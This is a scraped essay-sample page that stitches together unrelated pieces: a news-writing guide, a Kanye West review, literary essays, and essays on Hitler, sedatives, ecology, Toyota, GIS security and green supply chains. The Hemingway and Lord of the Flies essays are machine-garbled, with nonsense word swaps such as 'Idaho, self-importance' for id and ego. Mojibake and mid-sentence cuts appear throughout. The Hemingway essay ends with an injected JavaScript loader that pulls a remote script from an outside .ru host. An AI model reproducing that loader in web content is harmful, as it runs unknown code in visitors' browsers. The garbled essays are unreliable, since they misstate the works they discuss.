Learn How to Write a Professional News Story

Many students take journalism courses because they like to write, and many journalism courses focus on the craft of writing. But the great thing about news writing is that it follows a basic format. Learn that news story format and youll be able to write strong stories, whether youre a naturally talented writer or not. Writing Your Lede The most important part of any news story is the lede, which is the very first sentence of a news story. In it, the writer summarizes the most newsworthy points of the story in broad brushstrokes. If a lede is well-written, it will give the reader a basic idea of what the story is about, even if they skip over the rest of the story. Example: Two people died in a rowhouse fire in Northeast Philadelphia last night. Theres obviously a lot more to this story—what caused the fire? Who was killed? What was the address of the rowhouse? But from this ​lede, you get the basics: two people killed, rowhouse fire, and northeast Philadelphia. The "5 W's and the H" One way to figure out what goes into a lede is to use the five Ws and the H: who, what, where, when, why, and how. Who is the story about? What is it about? Where did it occur? And so on. Answer those questions in your lede and youll cover all your bases. Sometimes, one of those answers will be more interesting than the rest. Lets say youre writing a story about a celebrity who gets injured in a car crash. Obviously, what makes the story interesting is the fact that a celebrity is involved. A car crash in and of itself is common. So in this example, youll want to emphasize the who aspect of the story in your lede. Inverted Pyramid Format After the lede, the rest of a news story is written in the inverted pyramid format. This means that the most important information goes at the top (the beginning of the news story) and the least important details go at the bottom. We do this for several reasons. First, readers have a limited amount of time and short attention spans, so it makes sense to put the most important news at the start of the story. Second, this format allows editors to shorten stories quickly if needed. Its much easier to trim a news story if you know that the least important information is at the end. S-V-O Format Generally speaking, keep your writing tight and your stories relatively short; say what you need to say in as few words as possible. One way to do this is to follow the S-V-O format, which stands for subject-verb-object. To understand this concept, look at these two examples: She read the book. The book was read by her. The first sentence is written in the S-V-O format, meaning the subject is at the beginning, then the verb, then finished with the direct object. As a result, it is short and to the point. Plus, since the connection between the subject and the action shes taking is clear, the sentence has some life to it. You can picture a woman reading a book when you read the sentence. The second sentence, on the other hand, doesnt follow S-V-O. It is in the passive voice, so the connection between the subject and what shes doing has been severed. What youre left with is a sentence thats watery and unfocused. The second sentence is also two words longer than the first. Two words may not seem like a lot, but imagine cutting two words from every sentence in a 10-inch news article. Soon, it starts to add up. You can convey much more information using far fewer words with the S-V-O format.

My Beautiful Dark Twisted Fantasy - 1333 Words

My Beautiful Dark Twisted Fantasy boasted an amazing maximalist approach that boarded on a hip hop opera symphony with lyrics that were memorable and verses that can rank as the best hip hop verses of all time. It was an album filled with legendary moments that music fans will remember for ages, and moments Kanye fan boys will yell at his concerts. This reaction by hip hop fans for My Beautiful Dark Twisted Fantasy was immediate. For Yeezus, it was different. Yeezus’ minimalistic approach threw fans and critics off due to the very left field and experimental approach he took for this album, both sonically and thematically. In spite of this, Yeezus still manages to hold up it’s quality, value, and impact in comparison to his preceding albums while becoming one of the most important hip hop albums of all time. Leading up to the release of the album, Kanye premiered the song â€Å"New Slaves† on buildings across the globe. New Slaves set the tone for the album’s assumed political thematic approach, a seemingly popular decision. He outright calls out corporations stating â€Å"Fuck you and your corporations y’all can’t control me†, a line he admits may have caused the lack of promotion for â€Å"Black Skinhead†, another quasi-politically driven song that was composed to be a radio smash hit. Both of these songs on their own are fantastic. They’re not only well inspired politically driven hip hop songs, they’re arena anthems with ‘Black Skinhead† bordering on punk rock. â€Å"Middle america packedShow MoreRelatedA Review Of The Wests Dream?992 Words   |  4 Pagesend of â€Å"Power,† West questions in plain voice, â€Å"Are you strong enough to let power go?† The incredibly deep and wondrous record revealed a darker side of West that showed his transformation and desire to once more speak for the people and highlight dark, comedic experiences. After â€Å"Power,† West released new, free records every Friday via his Twitter and website for two months leading up to the release of MBDTF. On Twitter, West explained that his exile showed him the importance of producing musicRead MoreKanye West s New Album923 Words   |  4 Pagesintrospective and damn catchy. 5. All of the Lights Year: 2010 Album:My Beautiful Dark Twisted Fantasy Notable line:â€Å"I made mistakes, I bump my head.† Many critics consider My Beautiful Dark Twisted Fantasy Kanye’s magnum opus. With tracks like â€Å"Runaway,† â€Å"Monster,† and â€Å"Power† it is easy to see why. Picking a single track is difficult, but there is one song that perfectly captures the essence of My Beautiful Dark Twisted Fantasy. â€Å"All of the Lights† is opulent and extravagant while simultaneouslyRead MoreEssay about Cinematography1421 Words   |  6 Pagesmasterpiece that is about to become, in a film. â€Å"Being a Director requires great creative vision, dedication and commitment.† Skillset (2008) Tim Burton is pretty well-known for his creativeness. He is known for his skill of making things pretty dark and twisted but fascinating. Tim Burton is considered a visionary Director according to Business Wire (Sep 03, 2009). ART DIRECTOR The Art Directors are Todd Cherniawsky, Andrew L. Jones,Read MoreSociety Today Is Obsessed With The Ultimate Question, When1508 Words   |  7 Pagesbeauty in destruction, Menuck sets the stage for a dark, emotional piece that evokes strong emotion from the audience. Both sadness and a slight admiration for what the message is and the scene Menuck expertly stages. I found this poem to pair perfectly with an artwork of the similar theme, beauty in destruction, and despair. à ¢ Burning Cityà ¢ by Phil Hopkins, the art perfectly captures the theme by presenting a dull city skyline engulfed in a beautiful collection of colors that represents a raging fireRead MoreThe Lord Of The Rings Essay1710 Words   |  7 PagesThe Lord of the Rings: The Fellowship of the Ring takes place in a fantasy world called Middle Earth. In which, a young human-like creature called a hobbit named Frodo Baggins, played by Elijah Wood, enjoys his peaceful life, but yearns for adventure like his infamous uncle Bilbo Baggins. Wood is caught up in an ancient war between good and evil. In this war, Wood is required to encumber a great burden in order to permanently conquer evil. Originally released on December 2001, The Lord of the Rings:Read MoreThe Life Of Kanye West1714 Words   |  7 Pagesdarkness he still found success. West had now firmly established himself not only in the rap industry, but in the music industry as a whole. His next album, My Beautiful Dark Twisted Fantasy, was mostly recorded in Hawaii with guest vocals such as Nicki Minaj, Kid Cudi, Rick Ross, and RZA (About Kanye West). My Beautiful Dark Twisted Fantasy was released in November of 2010 and debuted number one on the Billboard 200 (About Kanye West). The album, not surprisingly, also eventually went platinumRead MoreExploring Themes in Sonnets1751 Words   |  8 PagesThe six poems that I shall be comparing are: Sonnet 116, My last duchess, La Belle Dame Sans Merci, The highwayman, The laboratory and The ballad of Tam Lin. There is a common theme that runs through all of these poems of relationships and the love in them whether it be the love lost between two lovers such as in the Laboratory or a fantasy love such as in The ballad of Tam Lin. In La Belle Dame Sans Merci the speaker of the poem comes across a knight all alone and who is apparently dying in a fieldRead MoreA Visit At The Amalie Arena Kanye West972 Words   |  4 Pagesplatform lit the audience and mosh pit beneath him. Kanye was the only performer except for stage hands the only instruments used were his voice, his songs playing in the background, and a voice synthesizer used quite often. He opened with Father Stretch My Hands Pt. 1 and Pt. 2 it got the crowd rapping and dancing. It continued on to Famous, which Kanye stopped once and started over saying â€Å"You know how much trouble I had to go through to write this song? F--- that, I’m gonna say how I feel!†, twice leadingRead MoreSocrates Weaknesses1077 Words   |  5 Pagesbelieving what is given to you. When asked to pick someone from recent history who reflects Socrates, there is only one person that comes to mind; Kanye West. On Kanye’s famous album, My Beautiful Dark Twisted Fantasy, he has a song called See Me Now, in which he says â€Å"This is an aristocracy, I’m Socrates, but my skin more chocolatey†. Kanye believes that only the elite hold power in our country, so he compares himself to Socrates, noting that the only difference between them is their skin colorRead MoreLast Summer Travi $ Scott1223 Words   |  5 Pagescoupled with a domesticated middle class backdrop (fighting with parents, doing poorly in school, getting kicked out), Scott lends himself as an ideal blank canvas for many young music fans looking to get their first kicks in rap. â€Å"What happened now?/ My daddy happy, mama called me up/ That money coming and she love me, I done made it now,† Scott raps over auburn piano, live drums and Robert Fripp-style guitar licks that sudde nly imbue the closing minutes on â€Å"90210†. This is one of Rodeo s few uncanny

HemmingwayThe Sun Also Rises Essay Research Paper free essay sample

Hemmingway-The Sun Besides Rises Essay, Research Paper In the novel The Sun Besides Rises, Ernest Hemingway describes a twosome who portion a really unusual and distant sort of love for each other. This narrative takes topographic point instantly after World War I, a clip of great adversity. This adversity consequences in a aside of values both morally and socially. The love that Brett and Jake portion is symbolic of the general diminution in values in that they tolerate behaviours in one another that would hold been antecedently considered unacceptable. It is clear that Lady Brett Ashley is anything but a lady. She is sort and Sweet but highly vulnerable to the appeal that assorted work forces in her life seem to surround her with. Brett is non happy with her life or her milieus and seeks flight and safety in the weaponries of these work forces. But her actions seem ever to stop up aching her, and she runs back to Jake. Jake knows that he will neer be able to hold her for his ain, and he accepts this as fact. This is clear when the Count asks them? why Don? T you get married, you two? ( 68 ) ? To this inquiry, they give a feeble half hearted awnser which implies that it will neer go on. He is tolerant of her behaviour because he loves her unconditionally and is willing to overlook everything she does. Jake? s willingness to digest and forgive Brett? s promiscuousness and unfaithfulness is an indicant of the skewed values of the age. It was an? anything goes? epoch right after the first war, and Jake? s message to Brett seems to be the same: anything goes every bit long as you finally come back to me. Jake is forced to accept life in this apparently awful manner for more than one ground. He a weak individual socially, but he is besides physically handicapped because of an hurt that he suffered during the war. He suffered an hurt that caused him to be castrated. The first intimation of this is when he says to Georgeette? I was hurt in the war ( 24 ) in refrence to why they can non hold physical realtions. This hurt is one that makes him insecure, but worse than that, it allows Brett to hold about complete / gt ; control over him. Jake and Brett need each other emotionally, but Brett feels that she needs more. As a consequence Jake is force to give her up. Jake? s feelings toward his friend Robert Cohn are a combination green-eyed monster, compassion, apprehension, and hatred. These are a really unusual group of feelings for a individual to hold toward one individual, but it was a really unusual clip. Jake knew of Robert? s relationship with Brett, and it ate him up with enviousness, but at the same clip he knew how it had ended. He had been close friends with Robert, and had been through a similar state of affairs with Brett, so he had both compassion and understanding for Robert? s place. The lone job was the manner Robert choose to cover with his feelings. Robert besides could non stand to see Brett with another adult male, but he expose this much otherwise. Robert? s presense bothered Jake even though they had been close friends. Robert dorsums out of a fishing trip to happen Brett, and Jake? s friend makes a remark about that being a good thing. Jake? s merely answer is? You? re darn right ( 108 ) ? . Robert makes a sap out of himself. He even beats up Jake at one point. Behavior like his was impossible for Jake to esteem and he hated this portion of Robert. None of this would hold even been a job if life during that clip had been a little more solid in a moral sense. Brett would hold non been permitted to move the manner she did, while mantaining her societal position, which clearly meant a great trade to her. She would hold had to take, and most likely her pick would hold been that of a more chaste life style. In this narrative, there is a really different manner of life from what people know today. The relationship that Jake and Brett portion is one that would look wholly unrealistic in today? s clip, but to them, it was acceptable. Jake no uncertainty would hold preferred to hold it otherwise, but he is accepting of the manner it stands. The adversity and the poorness that is so widely spread in that country during the station war clip causes the people to take down their moral criterions. Jake and Brett? s love is the perfect illustration. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Lord Of The FliesPsychology Essay Research Paper free essay sample

Lord Of The Flies-Psychology Essay, Research Paper In sing the assorted facets of the island society in Golding # 8217 ; s Lord of the Flies as a symbolic theoretical account of society, a converse position must besides be considered. Golding # 8217 ; s island of isolated childs so becomes a universe, wherein the island represents the single homo and the assorted characters and symbols the elements of the human mind. As such, Golding # 8217 ; s universe of kids # 8217 ; s ethical motives and actions so becomes a study of the human status, both separately and jointly. Almost text edition in their portraiture, the primary characters of Jack, Ralph and Piggy are so best interpreted as Freud # 8217 ; s really constructs of Idaho, self-importance and superego, severally. As the Idaho of the island, Jack # 8217 ; s actions are the most blatantly driven by animalistically predatory satisfaction demands. In detecting the bang of the Hunt, his pleasance thrust is emphasized, purported by Freud to be the basic human demand to be gratifie d. We will write a custom essay sample on Lord Of The FliesPsychology Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page In much the same manner, Golding # 8217 ; s portraiture of a Hunt as a colza, with the male childs hungrily leaping atop the hog and brutalising it, alludes to Freud # 8217 ; s footing of the pleasance thrust in the libido, the term functioning a dual Lntendre in its psychodynamic and physically animal sense. Jack # 8217 ; s unwillingness to admit the conch as the beginning of centrality on the island and Ralph as the place of power is consistent with the portraiture of his peculiar ego. Freud besides linked the Idaho to what he called the destructive thrust, the aggressiveness of self-ruin. Jack # 8217 ; s antithetical deficiency of compassion for nature, for others, and finally for himself is exhaustively evidenced in his gratuitous hunting, his function in the barbarous slayings of Simon and Piggy, and eventually in his combustion of the full island, even at the cost of his ain life. In much the same manner, Piggy # 8217 ; s demeanour and really character links him to the superego, the scruples factor in Freud # 8217 ; s theoretical account of the mind. Golding Markss Piggy with the differentiation of being more intellectually mature than the others, branding him with a connexion to a higher authorization: the outside universe. It is because the superego is dependent on outside sup port that Piggy fares the worst out of the three major characters in the isolation of the island. Piggy is described as being more socially compatible with grownups, and carries himself with a sense of principle and aim that frequently serves as Ralph # 8217 ; s moral compass in crisis ; although Ralph ab initio uses the conch to name the others, it is Piggy who possesses the cognition to blow it as a signal despite his inability to make so. Similarly, Piggy # 8217 ; s spectacless are the lone artefact of outside engineering on the island, farther indicant of his correlativity to greater moral forces. In an about Gothic vena, these same spectacless are the lone beginning of fire on the island, non merely necessary for the boys # 8217 ; deliverance, but responsible for their ultimate devastation. Therefore does fire, and similarly Piggy # 8217 ; s spectacless, go a beginning of power. Piggy # 8217 ; s ideals are those most in struggle with Jack # 8217 ; s overpowering hungriness for power and repletion. It is in between these representations of pandemonium and order that Ral ph falls. Golding # 8217 ; s word picture of Ralph as leader is correspondent to Freud # 8217 ; s arrangement of the self-importance at the centre of the mind. Ralph performs as the island # 8217 ; s self-importance as he must countervail the natural desires of the Idaho with the environment utilizing the superego as a equilibrating tool. This definition is consistent with Ralph # 8217 ; s actions, sponsoring Jack # 8217 ; s wish to run with their corporate demand to be rescued, frequently turning to Piggy for advice. Initially, in the comparative harmoniousness of the island society # 8217 ; s early outgrowth, Ralph is able to equilibrate the opposing Idaho and superego influences in order to hammer a intent: deliverance. It is merely as the balance devolves that the destiny of the island # 8217 ; s dwellers is in darkness determined. Among Ralph, Piggy and Jack exists a changeless battle to asseverate their peculiar visions over the island. As the authorization of leading b y default falls to Ralph, the conch so becomes symbolic of the consciousness. Its ownership rotates between Ralph and Piggy in order to find logical classs of action for the male childs. Jack nevertheless, invariably eschews the authorization of the conch, consistent with Freud # 8217 ; s theoretical account with the Idaho by definition staying subconscious, but to the full able to exercise influence over decision-making. Conversely, the masks and face-paints that Jack # 8217 ; s group of huntsmans come to have on are really implicative of Freud # 8217 ; s image of the subconscious. The hidden and close nature of the boys # 8217 ; faces beneath their camouflages gives them a disguise intermixing them into the background of the island leaf, doing them unperceivable to the consciousness of the ego. Their actions go by and large unnoticed, but still have great impact on the island as they kill and destroy, finally overhunting the hogs they so urgently covet. The general assembly of the island, torn between the conch and the huntsmans besides becomes symbologically valid, going a menagerie of the other major human modules, some more of import than others. In Samneric comes a sense of trueness and fraternity in the deficiency of alone individuality between the twins and their fidelity to Ralph, even when captured and brutalized by Jack # 8217 ; s huntsmans. In Roger # 8217 ; s resolved devotedness to the bloody, bloodstained spirit of the Hunt lies a ruthless ferociousness that even Jack must trust on to accomplish his dark docket. Simon # 8217 ; s loss of emotional coherency and his disclosure give him a breakability coupled with a wisdom that make him an about neurotic defect in the coherence of island society ; he is ironically the strongest and the weakest nexus of the concatenation in his alone apprehension of their state of affairs. The older male childs so are the dominant modules of the mind, variably giving allegiance to each of the three major forces of the Idaho, self-importance and superego. As the biggest, strongest and smartest on the island, they are the beginning of achievement and accomplishment, both constructive and destructive. The emotions and human qualities manifested in the â€Å"littleuns† seem about repressed in comparing, congruent with their comparative ineffectiveness. Their incubuss and uneasiness impress a sense of fright, failing and anxiousness, while allayed, still spread to even the most mature of the island to some extent. Among the multitudes of male childs, Golding interpolates other images passingly implicative of Freudian psychosexual theory. Ralph # 8217 ; s first call to come together by blowing the conch implies a mention to the neonatal unwritten province, during which Freud postulated was the first struggle between desire and self-denial within a kid. Other mentions to jobs in acquiring the younger kids to adhere to toilet etiquette for wellness concerns allude to the anal phase, which psychodynamic theory hypothesized to be a period of increased consciousness of bowel motion during the toilet-training period in yearlings. Golding notes that the younger male childs call out for their female parents instead than their male parents, suggesting at the Oedipus composite. If the abandoned male childs are representative of the facets of the human person, so the alcoholic, rich premium of the island suggest the resources available to the person. The ab initio elaborate images of abundant fruit and t he tropical Alcyone idyll give a sense of splendor suggestive of the innate apparently illimitable charity of nature, non merely on the island, but in the human psyche. The initial # 8220 ; cicatrix # 8221 ; of the boys # 8217 ; reaching on the island presents the first mark of harm to paradise, climaxing in its ultimate incineration, about suggestive of Gotterdamerhng, the combustion of fabulous Valhalla. As such, other analyses of the island as a whole must take into history the island in a greater context. Piggy # 8217 ; s comparative rational adulthood and Ralph # 8217 ; s eventual deliverance at the custodies of British naval officers are so declarative of the function the apparently absent grownup universe plays on the island. The distinction of the grownup universe to the male childs and its presumed virtuosity elevate it to a much higher degree than the mundane universe of the island. Despite a passing mention to atomic war early on in the novel, the outside universe is really much assumed to be superior in operation by both the male childs and the reader, doing it an about godly figure in the graduated table of the island as a universe. The outside universe so becomes the ultimate universe, the cosmic cognition and wisdom of God. Ralph # 8217 ; s guilt at the British officer # 8217 ; s remark about the male childs # 8217 ; being British suggests a sort of bantering penite nce, both solemn and at the same clip satirising alleged British moral high quality. Ralph and Piggy # 8217 ; s want to be rescued so becomes a signifier of religion elevated to a intension of spiritualty. The signal fire so develops into a supplication for godly redemption, pass oning to the grownup universe a wish to be rescued spiritually. It is Jack and his huntsmans that care non at all for the care for the fire, despite the fact that it is their lone means off the island. They contrast Piggy as the signal fire # 8217 ; s greatest advocate, who as superego maintains a more externalized sense of what must be done. In set uping the island as a universe of the ego, one must so analyze the mode of Golding # 8217 ; s treatise on the human status as related to the secret plan of the narrative. The beginning of the male childs on the island gives birth to the person, the # 8220 ; long cicatrix smashed into the jungle # 8221 ; suggestive of some sort of built-in human failing, possibly a sort of Original Sin. Ralph # 8217 ; s name implies the first intimation of s elf-awareness as the male childs come to understand their state of affairs and the power construction of the island between Jack, Ralph and Piggy signifiers. The resulting formative stage of the island society so indicates growing and development, non free from errors and defects in the psychodynamic of the island, but come oning. The true downward bend in the island/person so comes as Ralph loses control of Jack # 8217 ; s huntsmans and Piggy # 8217 ; s subsequent decease. Golding # 8217 ; s grounds for prosecuting this class of action in the corporate sociology of the island is problematic. While it may be a mere exciting secret plan device, it is besides really possible within the context of the universe that Golding is in fact, portraying the island as a individual in decay. Previous events including the clang and assorted untended wildfires indicate the island has suffered significant injury. Golding # 8217 ; s pick to bring forth struggle between the Idaho and the self-importance may good be diagnostic of a greater crisis for the island/person, where it is reduced to an internalized conflict between its two cardinal psychological procedures. As such, Golding # 8217 ; s culminate dramas much like a morality narrative ; out of control, the Idaho destroys the single due to its suicidal nature, go forth ing merely the self-importance to reply to a higher authorization. As such, Golding # 8217 ; s judgement on world so takes on a really slantedly ambivalent tone ; in darkness pessimistic, merely passingly delivering in its sense of morality. In his decidedly Gothic stoping in this reading of the book, reminiscent of Poe, Golding remarks sourly even on apparently virtuous human modules such as righteousness and practicality. He portrays even the supporters with a humanly flawed skew ; Piggy is weak and whining, Ralph is ineffective. In their defects and Jack # 8217 ; s cursory efforts at virtuousness, Golding creates a balanced image of the individual, where no module is to the full good or to the full evil, but capable of being used to perpetrate Acts of the Apostless of either or both.

The Meaning Of Hitler Essays - Adolf Hitler, German Re-armament

The Meaning Of Hitler The Meaning of Hitler was written by a German journalist by the name of Sebastian Haffner. In this book, Sebastian Haffner probes the historical, political, and emotional forces that molded Adolf Hitler's character. Sebastian Haffner also examines closely Hitler's rise to power as F?hrer of Germany, as well as his great achievements. Adolf Hitler began by making a mess of his life. He dropped out of school at the age of 14, failed his entrance exam at the Vienna Academy of Arts twice, and spent the time from his eighteenth to his twenty-fifth year in Vienna and then in Munich doing nothing and aspiring to nothing. Then, in 1914 when World War I broke out, Hitler volunteered for the Bavarian army. Hitler was a good soldier and received a couple of awards for bravery but never ranked higher than corporal. In 1918, when Germany finally surrendered, Hitler was very upset. He believed that it was the Jews and the Communists who betrayed the fatherland, and it was at this time that his hatred for the Jews most likely began. In 1919, Hitler joined a small radical Right-wing party, which called itself the National Socialist German Workers' Party, or Nazi party, where he soon became the leader. The party was small at first but Hitler's great skill at deliberating speeches attracted more and more listeners, and it soon became a major political party with many followers. Since the country was in chaos after World War I and was faced with the Great Depression, the Germans saw hope in Adolf Hitler. Unemployment was at about 40% and rising and people were starving and poor. In his speeches, Hitler blamed the Jews and Communists for their misfortunes. So why did so many Germans follow Hitler? When he took power, Germany and all of Europe was suffering from the Great Depression and were looking for answers and hope. Hitler was their answer. No factor contributed more to Hitler's success than the economic crisis. He promised to bring economic recover and national unity. Soon, factories started putting out weapons and now had jobs. To the German workers this was a very good sign. In 1933, when Hitler became Reich Chancellor, the Nazi party took control of every aspect of every day life. Hitler's goal was to eliminate the Jewish race from the European continent and to take control of Germany and turn it into a national socialist nation. He created a special police force called the Gestapo to make sure that anyone who opposed him would be eliminated. He took away the Jews' civil rights. Soon, Jews, communists, homosexuals and others who were viewed as ?inferior? according to the Nazi racial theory were thrown into concentration camps for extermination. In those camps, the Nazis killed 6 million Jews and many others. Hitler was unstoppable. World War II began in 1939 when German armies and warplanes attacked Poland. Two days later Britain and France jumped in and declared war on Germany. The Polish army was no match for the German army, and Hitler's armies crushed Poland in four weeks. In the meantime, German armies occupied Denmark and Norway and trapped the British army on the beaches of Dunkirk. France was now taken by the Nazis. Next, Germany attacked Britain by air, but Britain would not back down and eventually Germany backed off. Then, in June 1941 Germany turned and attacked the Soviet Union. However, the Germans completely underestimated the Soviet Union's ability of its government to control and mobilize the country's resources and were defeated in 1943. By June 1944, the war was going very badly for Hitler. A series of losses to the Allies and failure to defeat the Soviets had left Hitler's armies severely weakened. Germany had also changed a great deal. British and American bombers were devastating its indus tries and cities. Underestimating the Americans, Hitler launched his last reserves west into Belgium and Luxembourg in the Battle of the Bulge. He felt that a hard blow would cause popular support for the war in America to collapse, and would lead to the breakup of the coalition arrayed against him. All he accomplished, however, was to draw away troops needed in the east, allowing the Soviet army's

anxious and nervous

Have you ever felt so anxious and nervous that you would go to any extreme to relieve that feeling? Well, downers are drugs that many people use to relax and bring themselves down from feeling anxious or nervous. These drugs not only make you feel less anxious or nervous but they depress the central nervous system and produce a relaxing to sleep-inducing effect depending on the drug dose that is taken. Downers also slow down and depress the level of arousal in the brain by slowing down the nerve cells in the central nervous system, dull thinking abilities and reduce inhibitions. Downer drugs are not all that bad. Some of these drugs are used for medical reasons, actually prescribed by doctors. Some of the sicknesses that downers are used to treat include insomnia, to help manage anxiety, to reduce convulsiveness, and for neuromuscular disorders. They are most often prescribed today as tranquilizers and sleeping pills. Some examples of tranquilizers are Valium, Librium, and Xanax. Some examples of sleeping pills include Dalmane, Halcion, and Resoril. It is said that over the last decade an estimated six hundred million prescriptions were processed for minor tranquilizers in the United States pharmacies alone. Downers, which were once thought to be the perfect sedative for the terminally nervous, insomniacs, epileptics, mental patients and also used for anesthesia before surgery is now found to be very addictive. Downers as a whole have many risks and side effects to their users. Being downers are a depressant, they reduce cognitive and motor skills and decrease judgment and increase reaction time (meaning the time it takes to react increases.) Subtle effects can continue for hours or days after the use of downers because of the length of time it takes to break down some depressants in the body. Because of a very high abuse to downers, manufactures now warn users against using sleeping pills for more than a week ...

ECOLOGY, RECYCLING AND CONSERVATION, Essay Example | Topics and Well Written Essays - 3000 words

ECOLOGY, RECYCLING AND CONSERVATION, - Essay Example I will then compare my findings of both environments. I will be describing the organism and their habitat, I will also be looking into how the organism lives and feed. I am going to sample an area to investigate on the abiotic and biotic features and link the abundance and distribution of plants and animals to its physical features. I will use food chains, food webs and pyramid of numbers to show my findings. There are thousands of different chemical reactions occurring even in the smallest animals and plants, if these chemical reactions stop organisms will die. One of the main chemical processes that takes place in an organism is called metabolism. The study of the distribution and abundance of living organisms within a given environment is known as ecology. Ecology is the scientific study of the distribution and abundance of living organisms and how the distribution and abundance is affected by the interactions between the organisms and the environment in which they live in. All animals and plants are living organisms. They are alike in many ways as far as possessing characteristics of life, but they are also very different genetically and phonotypically. The ways in which they acquire food also varies from organism to organism. Food is what provides animals and plants with the energy they need to live. Respiration – animals and plants require energy to move, to grow and to maintain life. Respiration refers to an organism’s ability to transform energy molecules such as glucose, into actual and usable energy. (Mader, pp. 789) Growth – Growth refers to an organism’s ability to increase in size and mass over time. Typically growth hormones coupled with energy acquired through respiration and normal chemical reactions are responsible for this occurrence. (Mader, pp.876) Reproduction – In order to be classified as a living organism, an organism must be able to procreate members of its own species with

Strategic Choices at Toyota Corporation Assignment

Strategic Choices at Toyota Corporation - Assignment Example The company’s first truck design weighed one to one and a half ton after assembling. After the Second World War, other nations developed an interest in Toyota’s trucks due to their astounding efficiency during the war. Although they were low on speed, their involvement in the war was highly consequential in that they had eased mobility. This paper will take a broad look into the history and evolution of Toyota, the strategies it used to stay on top of the motor world and its recent strategic moves into making it the leading car brand in the World today. Toyota experienced remarkable growth during the post-war period as the United States encouraged them to venture into the manufacture of other locomotives other than those for war. Remarkably, their invention would later be used in the agricultural sector and above all in the public transport industry. As a result, this led to the designing of the Toyopet, which was one door minimized vehicle. After the withdrawn involvement of the U.S military, its production rose to two hundred and fifteen cars yearly. By the year 1965, Toyota automobile made six hundred thousand units per annum compared to eight thousands four hundred units in 1955. In its expansion process, Toyota designed a weapon carrier truck, the Land Cruiser, whose features resembled those of a jeep. On the contrary, its engine capacity was bigger than that of the Jeep by a slight margin. Its first comfort car, the Crown, emerged in 1955 with a four-power cylinder, half- liter engine capacity and a customized column shift. Th e Toyota Corona was the second luxury vehicle incepted into the Toyota stable whose manufacture growth per month increased to fifty thousand car units by 1964. Since that time, Toyota has continued to release remarkable brands into the world market. The SWOT analysis is the critical evaluation of the Strengths and Weaknesses from within an organization in relation to the external Opportunities and Threats essentially to determine its growth and development.  

Internship Question Essay Example | Topics and Well Written Essays - 1250 words

Internship Question - Essay Example There are numerous brands of GIS software employed in GEOINT and cyber security, namely; Google Earth, ERDAS IMAGINE, GeoNetwork open source and Esri ArcGIS. This essay focuses on the Geographic Information System capabilities of current cyber security products. In the middle of a developing awareness that the geospatial facet of IT framework can play a vital role in protecting systems and networks, several companies are creating contributions that integrate those two facets. The rational mapping of cyber-framework has been regarded a good exercise for securing and controlling data and network assets for momentarily. This sort of mapping displays how assets are integrated in cyberspace and how information is transferred from one location on the network to the other without esteem to their physical closeness. Furthermore, a geospatial facet to network mapping may appear redundant at first, because the security highlighting in past few years has been to adopt layers of software (Trendmicro, 1). Geospatial technology can be implemented anywhere in cyberspace from a central control setup. Comprehending the coming together of cyber security and geospatial intelligence starts with the fact that not all attacks to IT infrastructure happen in cyberspace. Deeds of damage or combat or natural calamities can have an effect on wide-ranging systems and networks. Understanding where these are happening in the geographical world allows companies to repair them and work around bleached infrastructure constituents until they are repaired. It also facilitates companies to implement geographical 2fences to cyber-assets (Buxbaum, 1). Apart from that, integrating cyber security with geospatial enables a much more complex comprehension of systems and their attacks and liabilities than the rational mapping. Identifying the geospatial site of the source of a threat can give hints about who are the perpetrators of

Benefits of Green Supply Chain Management

Benefits of Green Supply Chain Management Consciousness about the environment has been on the increase in the past few decades. Worlds environmental problems such as global warming, toxic substance usage, and decrease in non-replenishable resources has caught up amongst the people now. The Governments around the world are releasing campaigns to take this problem to people. Quite a few organizations have responded by using ecological principles to their business, such as reducing the energy use of oil, using environmentally friendly material first, and using recycled paper for packaging. Ecological principles have been extended to many departments within the organization, including the supply chain. environmental management of the supply chain (GSCM) made its appearance in recent years. This concept encompasses all steps in the manufacture of the first to the last stage of the lifecycle, from product design to recycling. Green Supply Chain Management can also be used for other economic sectors like government, education and s ervices apart from manufacturing. The aim of this paper is to express the impact of green in the management of the supply chain. It starts with the basics of Supply Chain Management of the company at different levels. Then he covers the chronology and the benefits of Green Supply Chain Management. What factors influence society to adopt the Green Supply Chain?These factors can be classified according to different players such as government, whole of market, industry, competitors, and society. Since Green Supply Chain Management can be applied to various areas within the company, this document also addresses the implementation of Green Supply Chain Management in several areas.In addition, a few examples of Green Supply Chain Management application is also demonstrated to support the concept. Table of Contents (jump to) Introduction Basics of supply chain management Supply Chain Integration Chronology of GSCM Objectives of GSCM Listening to Environmentally Aware Consumers Profiting from Being Green Unawareness of Potential Benefits Green Design Green Operations The Case of Kodak: Green Technological Advancement Why Change to Green Supply Chain Management? Conclusion Introduction Supply chain management has been viewed conventionally as a process in which the raw materials are converted into finished products, and are then provided to the end-customer. This whole course of action requires extraction and exploitation of various natural resources. The point to be noted here is that however, we live in an era where environmental sustainability has become an important concern to business practices. Manufacturers for a very long time now have been facing the pressure to concentrate on Environmental Management (EM) in their supply chains. However it is not at all an easy task to perform. The blending of the green concept to the supply chain concept affixes a new concept where the supply chain will bear a straight relation to the environment. This fact is interesting because both these paradigms were contradictory in the past. Supply chains, from an operational point of view, are all about mining and exploiting the raw materials from the environment. This paper will present a general idea about the Green Supply Chain Management (GSCM) literature. Knowledge of the broader outlook of the Green supply chain is the most important step in getting an insight about the branch of environmental sustainability. There is a vast span of literature available on the subject of green supply chain management, especially from 1990s to the present. But the key arguments that were drawn out of the Green supply chain Management literature over the last almost two decades are the concepts of green design, green operations, green manufacturing, waste management and reverse logistics. The purpose of this paper, however, is to provide insights on some of these topics and present an overview of the academic standpoint of the Green Supply Chain Management literature. This paper will begin with discussing the traditional supply chain management and will then proceed by moving on to chronology of the Green Supply Chain Management. This paper will then furth er move on to talk about the idea of Green Design and Green Operations. At the end, this paper contains a brief talk about why organisations go for a Green supply chain? Basics of Supply Chain Management The term supply chain originated around the mid 1970s. Supply chain was used as a term for transferring on electricity towards the final customer. However the term supply chain management came into the picture not until the late 1980s. The potential benefits of integrating the various internal business functions which included purchasing, manufacturing, sales and distribution into one interrelated framework were discussed. Since then supply chain management has been defined as the integration of business functions involving the flow of materials and information from inbound to outbound ends of the business. Twofold or party relationships between the suppliers are becoming a part of the supply chain process. Here the formulation of a supply chain framework in terms of establishing contracts between firms can be seen. The opportunity to either 